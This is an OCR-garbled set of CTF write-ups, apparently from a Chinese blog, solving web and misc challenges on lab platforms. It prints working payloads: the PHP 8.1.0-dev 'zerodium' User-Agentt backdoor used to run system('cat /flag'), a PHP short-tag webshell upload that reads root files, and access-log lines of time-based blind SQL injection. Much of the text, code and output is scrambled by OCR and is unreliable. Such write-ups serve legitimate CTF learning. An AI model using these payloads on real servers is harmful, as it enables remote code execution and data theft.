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Go Cancel

Request

<|v]| >

Raw | Params | Headers | Hex

Target: d

Response

Raw | Headers | Hex | HTML | Render

GET / HTTE/L. 1
Host: eci-2z26£33233wahlvTxuly. cloudecil, ichungiu, com

User-Agentt: zerodiumphpingo ():

Aceept: text/html,application/xhtml+xml,application/xml;q=0.9, image/wehp, */ *; o
Aceept-Language: zh-CN, zh;q=0.8, zi=T¥; q=0.7, zh-HE; q=0.5,=n-U5;q=0.3,en;q=0.2
hccepr-Encoding: gzip, deflate
Connsction: closs

Cookie: PHPSESSID=d79583bccé5asfapfecitha
Upgrade-Insecure-Requests: 1

£0dd; _ jsluid h=3e81d5b101c83c49650e92446c4b5Ld0

gkeptlis, BAEMRBEX TR

T

<

HTTF/ L. 1 200 OK

Date: Sat, 03 Apr 2021 07:29:09 GNMT
Content-Type: text/html: charset=UTF-g
Connection: close

Vary: Accept-Encoding

Vary: Accept-Enceding

X-Via-JSL: ££72h00,-

¥-Cache: bypass

Content-Length: 69457

<!DOCTYPE html PUBLIC "- //DTD XHTHL 1.0 Tr

C
ra/ 1998/ xhtml "><head>

SH
<html xmlns="http://www.w3.o
<style type="text/css">
body {background-coler: ¥Eff; color: #222; font-family: sans-serif;}

pre {margin: 0; font-family: menospace;}

a:link {color: H009; ion: nome; Lor: HEEE:}

aihover {text-decoration: underline;}

table {border-collapse: collapse: border: 0; width: 934px; box-shadow: 1px 2px 3px Hccc:}
.center {text-align: center;}

.center table {margin: lem auto; text-align: left;}

.center th {text-align: center !important;}

td, th {horder: 1lpx solid H666; font-size: 75%; vertical-align: baseline; padding: 4px 5px:}
th {position: sticky: top: 0; background: inherit;}

Nl {font-size: 150%;}

h2 {font-size: 125%:}

.p {text-align: left:}

" jbackground-color: #ccf; width: 300px; font-weight: bold;}

h kground-color: #99c; font-weight: bold;}

v {badMggound-color: #ddd; max-width: 300px; overflow-x: auto; word-wrap: break-word;}
v 1 {colo

img {float: ; border: 0;}

hr {width: 934px ™ggckground-color: #occ; border: 0; height: 1px:}

</styles

<tit1e>PHP 8.1.0-dev - phpinfo(}</title><meta name="RCBOTS” content="NOINDEX,NOFOLLOW,NOARCHIVE" /></heads
<body><div class="center"s

<table>
<tr cla nr><td>
<a href="http://wwv.php.net/"><img border=rg"

sre=rdata: image/ png;base4, iVBORVOEGY: NSUREUGAAAHIAARB, 439 GXRFWHRTB2Z0c2FyZ0BB2GI12SBIb WFnZV 1TV
FU=NySnXt wXFUdx8/ dBG1ihmE2 LOCrODYEnZZyleon/ gT5ciz3 g2 KONE zF AO1 0 OASKEh+34R90 ZH7 2 TEMAMEY Np hZF SOr s KHRUZMS pLESCI2 CoE Bl
/33PVWU4293F29ybd 1P zaM3df2XPy+22£4/ z0ulic L th] I+TOHQ3SQCESBS1DEWENAr usGuoF 1ps/ o5uPr i0£8dd0YoNEi0nt 4nt BIPT4z TwzQkE3 K
YPUFUTXFUT: 2c 03 A24xr KHudQT7963 HBFOnEEally kB O TS KSOE HWCI L kKW 1 s 8rC2 Wor” ZTUTKZ0QuZ/ k1Mph il +=ysEmpWEvalPzc Tl
XoBaqylivaZc7gSgzolgHx0ECn3 18xr 4 LVHORNE 1pad IgptH5D3 CdzrJ0Imee Eh WFkOpgsOMEr AMdgXTBWANTS3 gFmOPCodaTXCha+n L EPPLYI e wlEGC:
ByKsPETLMYYULLWIWTCxlv1lwnd yDLRILOWO VPR 7EhA54vELGE tipe LOVWF lenKaH2 FEF7vA3 Gez0227 293 0dT Z1hnuRi ToHO0e+4XT o ks asgl
%S 2pAUDTTR14F NS 12yepeE 140072 £n0VLI33ul 1 gEXgMWRPT+CGCSELPZgoePH738EPTad sT7CpI0Nu LyXp AXCCIVERRC V4R T I TF 20 6cdmd yOTWS U
fwZE0SUEH3 UVE1E520BRN112 T i 3GxkENuF ZLAShb/ YRt 20dca03 V20072 iy+VNGwLI+4-+nd e tudbxhF# I 23 L 6% 2w 1 phW9KLew+vw1944XBEAPI 6T
TDbEeOF OR49GUEPTS £ £0MK dr PXeQD 3£ 7y2 tvh WVAXF/ v Lic2 +y04dPVp QSPOUM/ N3 0 CXEUBUF ZREK-+UT MY VB YD TECfBNT = XATP ZK192p3 / 0aGRHy:
@b 15Cmb 13 zUDB3 LLsdwak/ YPeyAFUD i8AwS/ 2 Dwyx4SPIFOEYULE3 NTTw4d x7C TVChHRO0 TONMD+FHG+ZE0AO/ tSHLvAWNYSE Haci £MC+2 Ld/ wgt



http://cn-sec.com/archives/313267.html

User-Agentt: zerodiumsystem

Go Cance <|v >

Request
Raw | Params

Headel Hex

Target: http:
Response

Raw | Heade Hex

SET / HITP/L. L

fost: eci-2zefr3jeldwdhlvTxsuly.cloudscil. ichungiu. com
Jser-Agentt: Eerodiumsystemi‘ls /'):

\ccept: text/html,application/xhtml+xml;application/sxml; q=0.9, image/webp, */*;
\ccept-Language: zh-CHN, zh;c=0.8, 2h-TW;q=0.7, K; q=0.5,en-US;q=0.3, =n; q=0.2
weeept-Encoding: gzip, deflate
‘onnsction: close
lookie: PHPSESSID=A79583bccf53a8TabTec0IRIT8Ede0dd; _ Jslnid )
Ipgrade-Insecure-Requests: 1

B flag S

User-Agentt: zerodiumsystem

q=0.8

1d5h 0183049650292 448c4b5Ed0

HTTP/ 1.1 200 OK
Dats: Sat, 03 Apr 2021 07:27:47 GHT
Content-Type: text/html; charset=UTF-8
Connsction: close

Vary: Accept-Enceding

Vary: Accept-Enceding

¥-Via-JSL: ££72b00,-

¥-Cache: bypass
Content-Length:

T

7140

hin
hoot
dev
etc

™ £1ag

usr
var

<hr

<hsWarning</b>: Canmoet modify header information - headers already sent by (output started at REMOVETHIS:
2017:1) in <b>/var/www/html/htmlport.php</b> on line <b>2</b><br />

<br />

<h>Warning</b>: session_start(): Session camnot be started after headers have already been sent in
<b/var/wwa /html/htmlport.php</L> on line <h>5</h><br />

<!DOCTYPE HTML>

sold

<htnl lang="zh-CN">

<head>

<meta charset="UTF-8">

<vitle>OOOO</title>

<meta "keywords” content="0000" />
<meta ‘description” content="" />

<link stylesheet” href /index.css"/>
<link stylesheet” href="ess/style.css"/>

<script type="text/Javascript
<Script type="text/Javascript” sre
<l--Tif 1& TR 1>

s/jqueryl.42.min.js"></script>
35/ Jquery.Superslide.2. 1. 1.35"</script>

1,

>\

Go Cancel < |v

Request

Raw | Params | Headers | Hex

Target: http://

i1.ichungiu.com

Response

Raw | Headers | Hex

SET / HTTB/L.L
fost: esci-2zeEt3je33wdhlwTxulyg.cloudscil. ichungiu.com
Jser—Agentt: zerodiumsystem('cat /flag'):

\ccept: text/html,application/xhtml+ml, apPlication/xml;
lccept-Language: zh-CHN, zh;g=0.8, 2h-TW;g=0.7, zh-HK:
\ccept-Encoding: gzip, deflate

lonnection: close

‘ookie: PHPSESSID=d79583hecE52a8fabiEc0Lh2T8ede0dd; _ Jsluid h=3e9ldshlole
Tpgrade-Insecure-Requests

.9, image/webp, */*;q=0.8
en-Us;q=0.3,en;q=0.2

=02 448cab5£d0

MISC-/r & H &4 %

Y-

L

ETTP/L.1 200 OF

Date: Sac, 03 Apr 2021 07:2£:23 GHT
Content-Type: text/html: charset=UTF-8
Connection: close

Vary: hccept-Encoding

Vary: Accept-Encoding

X-Via-JSL: ££72b00,-

X-Cache: bypass
Content-Length: 7092

flag{fefdn289-0648-4251-884c-9e9169daeTse}<br />

<b>Warning</b>: Cannot modify header information - headers already sent by (output started at REMOVETHIS: sold to zerodium,
2017:1) in <b>/var/wwa/html/htmlport.phe</b> on line <b>2</b><br />

<br />

<h>Warning</b>: session_start(): Session canmot be started after headers have already been sent in

<b> fvar fwwr/html fhtmlport . php</b> on line <b>5</b><br />

<!DOCTYPE HTNL>

<html lang="zn-cne>

<hzad>

<meta charset="UTF-8">

<title>O000</title>

emeta "keywords” content="OOOO" />

<meta "description” content=rr />

<link css/index.css"/>

<link css/style.cssn/>

<script "Eext/IAVASCLipt” Src="js/jqueryl.42.min.3s"></scripe>

<script "text/Jjavascript” sro="3js/jquery.SuperSlide.2.1.1.3s"></script>

<div id='headsr'>

<hL>0000</hl>

<p>000000 ,000000000000000000000000000000000000000</ 1>
</div>

ader end--> <div id='nav'>
<ul>
<lis<a href='/index.php'>00</a></1i>
<lis<a href='/about.php'>000</a></1i>
<liz<a href='/shuo.php'>0000</a></ 11>
<lir<a href='/note.php'>0000</a></1i>
<li><a href='/guestbook.php'>000</a></1i>
<div elass='clear'></div>
</ul>
</div>




e EESS /:-

$HE: 500

HFEAB—{Paccess.log, {REEMPRHTEIHA?
B T35 IRAVES (GAME) SHTE

SEZE, ZHEMZEBAMARTHAREE, BE—SR&BlagiE, RUEHMKENG, BUKE7T7TRFBERY, K
399K Sk

4p access.log
419£.100.2£.120 ~ - | 1L/MAI/£0£1.10.91.92 Towogyg | ULl /LiMNUEX.PIPTrlu=l AZ9dMNUALOLIT I UIUL
substr((select%2eflag%2efrom%2eflllag),1,1)):74,31eep(2),1)--+ HTTP/1.1" 286 399 "-" "python-requests/2.
192.168.52.156 - - [11/Mar/2021:18:01:05 +8698] ['GET /index.php?id=1'%20and%28if(ord(
substr((select%20flagk2efrom%20flllag),1,1)):75,51eep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.
192.168.52.156 - - [11/Mar/2821:18:01:85 +88P@] 'GET /index.php?id=1'%20and%20if(ord(
substr((select%2eflagk2efrom¥%2eflllag),1,1))+=76,51leep(2),1)--+ HTTP/1.1" 208|399 ["-" "python-requests/2.
192.168.52.156 - - [11/Mar/2021:18:01:05 +00P0] |'GET /index.php?id=1"'%2@and%_28if(ord(
substr((select%20flag%2efrom¥%2eflllag),1,1)):77,31leep(2),1)--+ HTTP/1.1" 286 399 "-" "python-requests/2.
192.168.52.156 - - [11/Mar/2021:18:01:05 +8@90] ['GET /index.php?id=1'%20and%2@if(ord(
substr((select%20flag%2efrom%20flllag),1,1)):78,31eep(2),1)--+ HTTP/1.1" 200 399 "-" “python-requests/2.
192.168.52.156 - - [11/Mar/2821:18:01:85 +8@3P@] |'GET /index.php?id=1"'%2@and%_2@if(ord(
substr((select%20flag%2efrom%20flllag),1,1))+79, 31eep(2),1)--+ HTTP/1.1" 266 399 "-" "python-requests/2.
192.168.52.156 - - [11/Mar/2021:18:01:05 +00P0] |'GET /index.php?id=1'%20and%208if(ord(
substr((select¥%20flag%2efrom%2e0flllag),1,1)):80, 31leep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.
192.168.52.156 - - [11/Mar/2821:18:01:85 +88P@] 'GET /index.php?id=1'%28and%2@if(ord(
substr((select%20flag%2efrom%20flllag),1,1)):81,31eep(2),1)--+ HTTP/1.1" 200 399 "-" “python-requests/2.
192.168.52.156 - - [11/Mar/2021:18:01:85 +@0P@] |'GET /index.php?id=1'%2@and%20if (ord
substr((select%20flag%2efrom¥%20flllag),1,1) )82, 31eep(2),1)--+ HTTP/1.1" 286 399 "-" "python-requests/2.
192.168.52.156 - - [11/Mar/2021:18:01:05 +8@90] ['GET /index.php?id=1'%20and%28if(ord(
substr((select%2eflag%2efrom%2eflllag),1,1))=83,31eep(2),1)--+ HTTP/1.1" 286 399 "-" "python-requests/2.
192.168.52.156 - - [11/Mar/2021:18:01:05 +8698] ['GET /index.php?id=1'%20and%28if(ord(
substr((select%20flag%2efrom%206flllag),1,1) )84, 31eep(2),1)--+ HTTP/1.1" 266 399 "-" "python-requests/2.
192.168.52.156 - - [11/Mar/2021:18:01:05 +00P0] |'GET /index.php?id=1'%20and%208if(ord(
substr((select%2eflagk%2efrom¥%2eflllag),1,1))=85,1leep(2),1)--+ HTTP/1.1" 288|399 ["-" "python-requests/2.
192.168.52.156 - - [11/Mar/2021:18:01:06 +00P0] |'GET /index.php?id=1"'%2@and%_28if(ord(
substr((select%20flag%2efrom%20flllag),1,1)):86,31leep(2),1)--+ HTTP/1.1" 200 399 "-" “python-requests/2.
192.168.52.156 - - [11/Mar/2021:18:01:86 +0803@] |'GET /index.php?id=1"'%20and%28if(ord(
substr((select%20flag%2efrom%20flllag),1,1))+87,31eep(2),1)--+ HTTP/1.1" 200 399 "-" “pyhkhon-requests/2.
192.168.52.156 - - [11/Mar/2821:18:01:86 +@@P@] |'GET /index.php?id=1'%2@and%2@if(ord
substr((select%2eflagk2efrom%2eflllag),1,1) )88, 31eep(2),1)--+ HTTP/1.1" 2@@ 399 "-" !python-requests/2.
192.168.52.156 - - [11/Mar/2021:18:01:06 +8608] ['GET /index.php?id=1'%20and%26if(ord{
substr((select¥%20flag%2efrom%20flllag),1,1)):89,31eep(2),1)--+ HTTP/1.1" 20@ 399 "4" "python-requests/2.
192.168.52.156 - - [11/Mar/2821:18:01:86 +8e96] ['GET /index.php?id=1"'%28and%2@if(ord(
substr((select%2eflagk2efrom¥%26flllag),1,1))=90, s1eep(2),1)--+ HTTP/1.1" 280 "-" "python-requests/2.
192.168.52.156 - - [11/Mar/2021:18:01:08 +006&7"GET /index.php?id=1'%20and%208if(ord(
substr((select%2eflag%2efrom%26flllag),1,1)) )>1)--+ HTTP/1.1" 288 399 "-" "python-requests/s:

5 KB N3TTHIE

90 109 120 104 90 51 116 90 98 51 86 2 89 88 74 108 88 51 78 118 88 50 100 121 90 87 70 48 102 81 61 61

5 P RV A R AT Ab 2



import base64

a=[90,109,120,104,90,51,116,90,98,51,86,102,89,88,74,108,88,51,78,118,88,50,100,121,90,87,70,48,102,81,61,61]
flag

for i in a:
flag=flag (1)

print(flag)
print(base64.b64decode(flag))

732

ZmxhZ3tZb3VFYXJI1X3NvX2dyZWFefQ
b

AR EASTTHIERARIT T, B b R i A -

from base64 import *

flag
with open( ) ) as f:
lines f.readlines()
for line in lines:
if in line:
packet_len line[line.find( )+5:1ine.find(
if packet_len

ascii_code line[line.find( )+3:1line.find(

ascii_str chr(int(ascii_code))
flag += ascii_str
else:
PERS
else:
PERS

print(b64decode(flag).decode(

a4 CTF

Web-write_shell
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Instance Info

Flag

Submit

MR EirEseid phpid 38

PHPFF J& 4 #54:Bllshort_open_tag=onff, AJLMER<?=$ ?>Hiiar &




<?php

error_reporting(9);
highlight file(_ FILE_);
function check($input){
if(preg_match( ,$input)){

$input

$input
$input $key=>$output
$input[$key] $output

$input $input

$_SERVER[
$dir
$dir

$ GET["action
$dir
$data = $_GET["data

$data
$dir index.php", $data);

BN, BRX$dataB BT T U8
fER<?=?> HIRERIA]Sid php s 5 i
AR 55 BEEHIT i<

LY T ZEH, %o R E =%

RIEIRRD, SEEE LH H =

Payload: ?action=pwd




1] o
@ Split URL L?actinnzpwd‘

2 Execute

[] post data [] Referrer 4 OxHEX ¥ & %URL ¥ &% BASE64 Insert string to replace
@=m~ Kcookiesw # Css¥ [Jxm- @EK~ @NEEE- @ity ey SEkr ATE M=ESRAEY [LEmEr

kl"‘ + Servicess | msrdf Since: New Site Rank: - Site Report Elll [CN] CHINANET Jiangxi province network
1
1

Insert replacing string Replace All % ™=

1
r

function waf ($input) {
if(is_array($input)) {
foreach($input as S$key=>Soutput) {

Sinput[$key] = waf($output):
1
!
}else{
Sinput = check($input);
}
}
$dir = ’sandbox/” . md5($_SERVER['REMOTE_ADDR'1) . /7
if(1file_exists(8dir)) { g
mkdir ($dir) ;

1
r

switch($ GET["action”] 22 ”7)
case pwd :
echo $dir;
break;
case upload :
$datgs”~ $_GET["data”] 22
data) ;
ile put contents(”$dir” . “index.php”, $data):

1
f

Eps

sandbox/d99081fe929b750e0557185e6499103f/

ZRBERUR B X T FTH S

Payload: ?action=upload&data=<?="cat%@9/* ?

B )51 19 /sandbox/d99081fe929b750e0557f85e6499103F/ 153 Zflag

% splitURL

Execute /sandbox/d99081fe929b750e0557f85e64991031/

[] Postdata [ Referrer @ OxHEX 3% 4% %URL 3» @ BASE64 I | /nsert string to replace
@z~ Acookiesw » Css~ [l=m- @B~ O~ Eafthey ARy JSEnr ATSY mEsFREY s
AETCRAFT - Services- | AR

s Since: New Site Rank: - Site Report Hlll [CN] CHINANET Jiangxi province network
flag{54a3ddd3-57ca-4810-9a3b-cb5a63d6656f} #!/bin/bash if [[ -f /flag.sh ]]; then source /flag.sh fi apache2-foreground

Insert replacing string Replace All ™

MIS C-E& i s 2 UK UK H
BE A LA (S BT -



fToFrar 48 @240, AT REAFFERARDY N, #2 ML 1near)E )16 %, K24 754184 80BN AT

bingbing.jpg bingbing.zip

Ewp R Zjavas KED

java -jar BlindWatermark.jar decode -c bingbing.jpg decode.jpg



https://l1near.top/index.php/2021/03/15/97.html#comment-174




B304 gnibgnib , f#EEFbingbing.pcapngii &8, KIEIE L1646, FrllR2USBRENR &=

[ERE T s ~ <Ctrl-/>

Yo. Time Source Destination Frotecel Length Info
— 4 9.000000 1.2.@ host usB 87 GET DESCRIPTOR Response CONFIGURATION
5 ©.000000 host 1.2.0 usB 36 SET CONFIGURATION Request
6 ©.000000 1.2.0 host UsB 28 SET CONFIGURATION Response
7 9.000000 host 1.1.0 usB 36 GET DESCRIPTOR Request DEVICE
8 0.000000 1.1.@ host usB 46 GET DESCRIPTOR Response DEVICE
9 ©.000000 host 1.1.0 UsB 36 GET DESCRIPTOR Request CONFIGURATION
10 ©.000000 1.1.@ host uUsB 849 GET DESCRIPTOR Response CONFIGURATION
11 ©.000000 host 1.1.0 UsB 36 SET CONFIGURATION Request
12 ©.0e0e0e 1.1.@ host usB 28 SET CONFIGURATION Response
13 4.100764 1.2.1 host USB 35 URB_INTERRUPT in
14 4.100820 host 1.2.1 usB 27 URB_INTERRUPT in
15 4.220764 1.2.1 host usB 35 URB INTERRUPT in
16 4.220836 host 1.2.1 UsB 27 URB_INTERRUPT in
17 4.572761 1.2.1 host usB 35 URB_INTERRUPT in
18 4.572838 host 1.2.1 usB 27 URB_INTERRUPT in

Frame 13: 35 bytes on wire (280 bits), 35 bytes captured (280 bits) on interface wireshark_extcapi7g8e, id e
USB URB
Leftover Capture Data: 9000230000000000

e

1b @e 1@ 6@ 77 3a eb ed ff ff 00 o0 @0 o0 @9 o0 I'H
91 21 00 92 00 81 @1 08 @O 00 0@ @0 00 23 00 00 #
00 08 Qe

tsharki2 lRUSBIR &

.capdata usbdata.t

fhome/kalif S H/usbdata.txt - Mousepad

#4(D) FENH)

0000230000000000

0000000000000000

0000230000000000

0000000000000000

0000230000000000

00000000R000R000

AR AT

pcapng -T fields - usbdata.txt



il 8@ /usbdata.txt - Mousepad

MCHE(F) fWiB(E) $2&(S) ME(V) 3c#(D) FEh(H)
0000230000000000
0000000000000000
0000230000000000
0000000000000000
0000230000000000
0000000000000000
0000060000000000
0000000000000000
0000230000000000
0000000000000000
00001e0000000000
0000000000000000
0000230000000000
0000000000000000
0000240000000000
0000000000000000
0000240000000000
2000000000000000
2000050000000000
2000000000000000

od.cedn netiaa 46150940
0000200000000000 log.csdn.net/gg_46150940

MAMAM EE S

while 1:
a=f.readline().strip()
if a:
if (a)==16:
out
for i in (0, (a),2):
if i+2 (a):
out+=a[i]+a[i+1]
else:
out+=ali]+a[i+1]
fi.write(out)
fi.write( )
else:
break

fi.close()




JCEE(F) YwiB(E) #BF(S) HME(V) 3r#(D) #EAH)
00:00:23:00:00:00:00:
00:00:00:00:00:00:00:
00:00:23:00:00:00:00:
00:00:00:00:00:00:00:
00:00:23:00:00:00:00:
00:00:00:00:00:00:00:
00:00:06:00:00:00:00:
00:00:00:00:00:00:00:
00:00:23:00:00:00:00:
00:00:00:00:00:00:00:
00:00:1e:00:00:00:00:
00:00:00:00:00:00:00:
00:00:23:00:00:00:00:
00:00:00:00:00:00:00:
00:00:24:00:00:00:00:
00:00:00:00:00:00:00:
00:00:24:00:00:00:00:
00:00:00:00:00:00:00:
00:00:05:00:00:00:00:
00:00:00:00:00:00:00:
hitps://blog.csdn.net/qq_46150940

{ ox04: , ©Ox05: , Ox06: , 0x07: , Ox08: , 0x09: , OXOA: , OxOB: , @xecC: , ©xeD:
, OXOF: , 0x10: , Ox11: ,0x12: , ©ox13: , 0x14: , Ox15: , Ox16: , Ox17: , 0x18:
, Ox1A: , Ox1B: , Ox1C: , 0x1D: , OX1E: , OX1F: , 0x20: , Ox21: , Ox22: , ©Ox23:
0x25: , Ox26: , Ox27: , Ox28: , Ox2a: , OX2B: , Ox2C: , ©ox2D: , OX2E:
0x30: , ©Ox31: , 0x32: , Ox33: , ©Ox34: , 0x36: , ©Ox37: }

for line in keys:
if line[9] line[1] line[3] line[4] line[9] line[10] line[12]
line[13] line[15] line[16] line[18] line[19] line[21] 1
ine[22]
continue
nums . append ( (line[6:8],16))

if n
continue
if n in mappings:
output mappings[n]

else:

666C61677B3866396564326639333365662[DEL ]31346138643035323364303334396531323939637D

KN [DEL]R M RBReE, BT LA




666C61677B38663965643266393333656631346138643035323364303334396531323939637D

58 FE BRI A K 7N 3 B 4 A

m

s=bytes.fromhex(m

print(s

732

ctfshowifa A\ #f
3|2

Challenge 139 Solves

& EHR
10

[BASTRMEZIRR] £52021F48 10200, FrE1EHE
2arflagilE=, oL RS e EBILEREENEHEER, B
1ol https:/live.bilibili.com/22405530

B 1S EERE500cE40 8

o (HAUIEINE SHEENITHENSHEEPLETE

o B CRR&RIMIFMAINER lagiEiNE CPAMRE(FFEZE
BiTh, AEER

o hFEEAEEFEREEANE, (oS 52T
X, MEEE

o flagE o] ge 2T 5 Hith/ \INESFRT

Flag Submit




flag#2 ctfshow{[0-91{9}}

IEMPLAS, F&&MFRI#RATEL, Han:

ct

w{123456789}

A4l 48 21

[ctfshowiTXkEIE] REEELE, & MERIAL, FkTEaIAHRm
NEE, PEHARFZR, IERENENEAEE, FREMBSE—5
AvEE, BELARLRR, fi—ks T2, RIEEEEET AT
FEE7. #EEE, NUAEE EFNE BEThE, HBEE/\F, 228
£ AN EITES, BREE/\ 1.

{FEEFE TOR

R, e

Go Cancel Target: http://9b80a430-3456-4¢

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

GET /sx.php HTTE/L.L L ETTF/L.L 200 OK

Host: SHE0a430-3456-483£-a3b3-15£110ad24ct.challenge.ctt.show: 8080 r Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
User-AgeMt: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:87.0) Gecko/Z0100101 Firefox/87.0 Content-Type: text/html; char =UTF-8

hccept: W* Date: Sun, 04 Apr 2021 D4:30:42 GHT

hecept-Laljguage: zh-CH, zh:q=0.8, zh-TW: q=0.7, zh-HE: q=0.5,en-US: q=0.3,en: q=0.2 Expires: Thu, 19 Nov 1981 08:52:

hecept-Enchding: gzip, deflate Pragma: no-cache

X-RequestedgWith: XKUNLEttpRequest Server: nginx/l.14.Z

Connsction: Yelose ¥-Powsred-By: PHP/S.E.40

Referer: hoth://ShB0a430-3456-483£-a3b3-15¢110ad24ct. challenge. cof. show: B0BO0/ Content-Length: 73

Cookie: PHPSHSSID=u0l4SmmpS5h43pimtinres06inss Connsction: close

{"code":0,"num" :0,"flag" : "ctfshlw-flag-n0t-h3r3-thls-msg—just-a-joke-}{"}




ESnumBt TR, BRI R2~num7E1-10004

Intruder attack 2 - | hd

Attack Save Columns

j Results T Target T Positions T Payloads T Options ]

‘ Filter Showing all items ‘ EJ
Request | Payload | Status |Error | Timeout | Length 4| Comment

0 200 g ] 393 4
1 1 | 200 ad J 393

2 2 200 g [0 393

3 3 200 g [l 3903

4 4 200 g [] 393

5 5 200 g [ 393

7 7 200 a 0 393

6 6 200 g 0 393

8 8 200 g [ 304

9 9 200 g [l 394

10 10 200 ] [ 304 F

Request | Response }

j Raw T Headers T Hex }

HTTF/L.1 Z00 COK A

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 a

Content-Type: text/html; charset=UTF-8

Date: Sun, 04 Apr Z0Z1 04:45:13 GMT

Expires: Thu, 18 Nowv 1981 08:5Z:00 GMT

Pracma: no-cachs

Server: nginx/l.14.2

¥-Powered-By: PHP/5.6.40

Content-Length: 73

Connection: close

{"code":0,"num" :3,"flag" : "ctfshdw-flag-—not-h3r3-thls-msg-—just-a-joke-}{"}
-
v

? < + * Type a search term 0 matches

Finished

#HRMRfag, —HAETH

Intruder attack 2 - | hd

Attack Save Columns

j Results T Target T Positions T Payloads T Options ]

‘ Filter: Showing all items ‘ ?

Request | Payload |Stalus | Error | Timeout | Length Comment

465 465 200 g [ 395 E
466 466 200 O [ 395

468 468 200 O [ 3905

467 467 200 O [ 3905

469 469 200 O [ 395

470 470 200 O [ 395 )
471 471 200 O [ 395

472 472 200 O [ 3905

473 473 200 O [] 395




4r4 414 200
476 476 200

Request Response}

395
395

OCc
OC

J Raw T Headers T Hex 1

HTTE/Ll.1l 200 OK

Cache-Control: no-store, no-cache, must-rewvalidate, post-check=0,
Content-Type: text/html; charset=UTF-5

Date: Sun, 04 Apr Z0Z1 04:45:21 GMT

Expires: Thu, 12 Nowv 19281 08:52:00 GMT

Fragmwa: no-cachs

Server: nginx/1.14.2

¥-Powered-By: PHP/5.6.40

Content-Length: 75

Connection: close

pre-check=0

{"code":0,"num" :474 ,"flag" :"ctfshow{789865h8-2246-40c0-a38b-aa708839838d}" }

Finished |

LS

-
¥

0 matches

o

1

% 5 A BEAT R AR

import requests

for i in (1,1000):

response=requests.get(url, headers=headers);
print(responsea.text)




5 Zlflag

> admin >
requests

response-requests.get(url, headers)
(responseal. text|)

2 B

1574, "flag"

5, "Tlag
76,"flag
1577, "flag
78,"flag
9,"flag
80, "flag
81, "flag
82,"flag

BTz T
B

:"ctfshew-f1lag-net-h3r3-thls-msg- just-a-joke-}{"

"ctfshew-f1ag-n@t-h3r3-thls-msg-just-a-jeke-}{

ctfshew-flag-net-h3r3-thls-msg-just-a-joke-}{"

ctfshew-f1ag-net-h3r3-thls-msg-just-a-joke- }{

ctfshew-f1ag-net-h3r3-thls-msg-just-a-joke-}{

ctfshow{30ablef4-de32-4135-b218-fab5c2e9338f}

'tFQhew—flag net-h3r3-this-msg-just-a- ]@ke }[
hew-flag-not-h3r3-this-msg- j
hew—flag n@t h3r3- thlc mag-

’tfﬁhew flag net h3r3- th1< mag—

ctfshew-f1ag-net-h3r3-this-msg-

ctfshew-f1ag-n@t-h3r3-thls-msg- -a- ]@ke
ctfshew-flag-net-h3r3-thls-msg- uct a-joke-
ctfshew-f1ag-net-h3r3-this-msg- -a-jeke-
ctfshew-flag-net-h3r3-this-msg- -a-joke-
ctfshew-flag-net-h3r3-thls-msg- uct a-joke-
ctfshew-f1ag-n@t-h3r3-thls-msg- -a-joke-
ctfshew-flag-net-h3r3-this-msg- -a-joke-
ctfshew-f1ag-n@t-h3r3-this-msg- ]uqt a-joke-
ctfshew-flag-not-h3r3-thils-msg- -a-joke-
ctfshew-flag-net-h3r3-thls-msg- -a-joke-
'tFQhew—fiag net-h3r3- t11< mag ]u%t a- ]@ke

¥
b
¥
b
b
¥
b
¥
{"}
{"}
{"}
{"}
{"}
{"}
{"}
{"}
{"}
{"}
{"}
{"}
{"}
{"}
{"}
{"}
{"}



R, EaRdfag, FRUEBESRAED?

kskinl, EREE

CTFshow [T

| flagtt4

IREEHHE AN SR

CTFshow K[ T

| flagZ M

{REEFRA R

https://blog.csdn.netfaq_46150940

https:/blog.csdn.net/qq_46150940




bupMBWBEA N4, FT HMHERwp, FTUEEElag— R4 A? , REEIFFK, XhiT.

CTFshow i T

‘ flaggs1{3z? |

flagEs1{iEe

https:/blog.csdn.net/qg_46150940

3t4547

CTFshow oI T

flagEE 452}

https:/lblog.csdn.netiqq_46150940

PR
ctfshow{al5b2830-dcf4-4344-99e5-350a561cbf89}




ERALERT HHWR ?

Instance Info

Remaining Time: 3213s
Lan Domain: 708-bf126abc-17e1-49e7-9419-
972cf6d2613d

http://bf126abc-17e1-49e7-9419-
972cf6d2613d.challenge.ctf.show:8080/

Vi I $EAL AL

CTFshow & A% Login

Username

admin

Password

| susmIT

https:/fblog.csdn.netigg_46150940

A NBFRIE, B RARsqUEN, F T BB U EEV HMag
< C A 4%=% | bfl26abc-17e1-49e7-9419-972cf6d2613d.challenge.ctf.show:8080/flag

2 5 HEOR



RIS T AR, A RS AR T

&« C A FZ2 | bfl26abc-17e1-49e7-9419-972cf6d2613d.challenge.ctf.show:8080/3

ctfshow{4ead682b-358d-426d-9ac2-be51f7d31e80}

AT R
B A HFXRAT



YA, Dh3iERk User-Agent: Android , JRZSIE302EEF, K ILT mb.html

{ Go J Cancel {( VJ > {FoLLcmredLrection

Request

Raw | Headers | Hex

Target: http:/[1768110f-b7ab-4e567-821e-

Response

Raw | Headers | Hex | HTML | Render

GET / HTTR/L.1

Host: 1768110f-b7ab-4e57-821=-3£80619daa7c.challenge.ctf. show: 8080
[Pser-Agent: Android
Accept: text/html, application/xhtml+xml, applications Amls =0, g, T

T

HTTP/1.1 301 Moved Permansntly
Content-Length: 162

Content-Type: text/html

Date: Mon, 05 Apr 2021 09:16:ll GHT

Accept-Language: zh-CM, zh;q=0.8, zh-TW; q=0.7, zh-HE; q=0.5,en-US; q=0.3,en; q=0.2
Accept-Encoding: gzip, deflate
Connsction: close
Upgrade-Insscure-Requests: 1
If-Modified-Since: Sat, 27 Mar 2021 20
If-Nons-Match: "E05£840a-L1£E0"
Cach=-Control: max-age=0

EH#E V5 Rmb.html

< &

tfshow{8fd0dddd-45e2-4a95-a47d-033c3d5def6d}/

B — 41

TEHE, —ApngBE HFI—ANwp”, B MEflag.

wspen: b . html
Server: nginx
Connsction: closs

<html>

<head><title>301 Moved Permanently</titls></hzad>
<body>

<center><hl>301 Moved Permanenmtly</hl></center>
<hr><center>nginx</centesr>

</body>

</html>

A 2= | 1768110f-b7ab-4e57-821e-3f80619daa/c.challenge.ctf.show:8080/mb.html
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{EL LS A S BRARYE, ) Stegsolve ELEAR — -

T3] T flag:

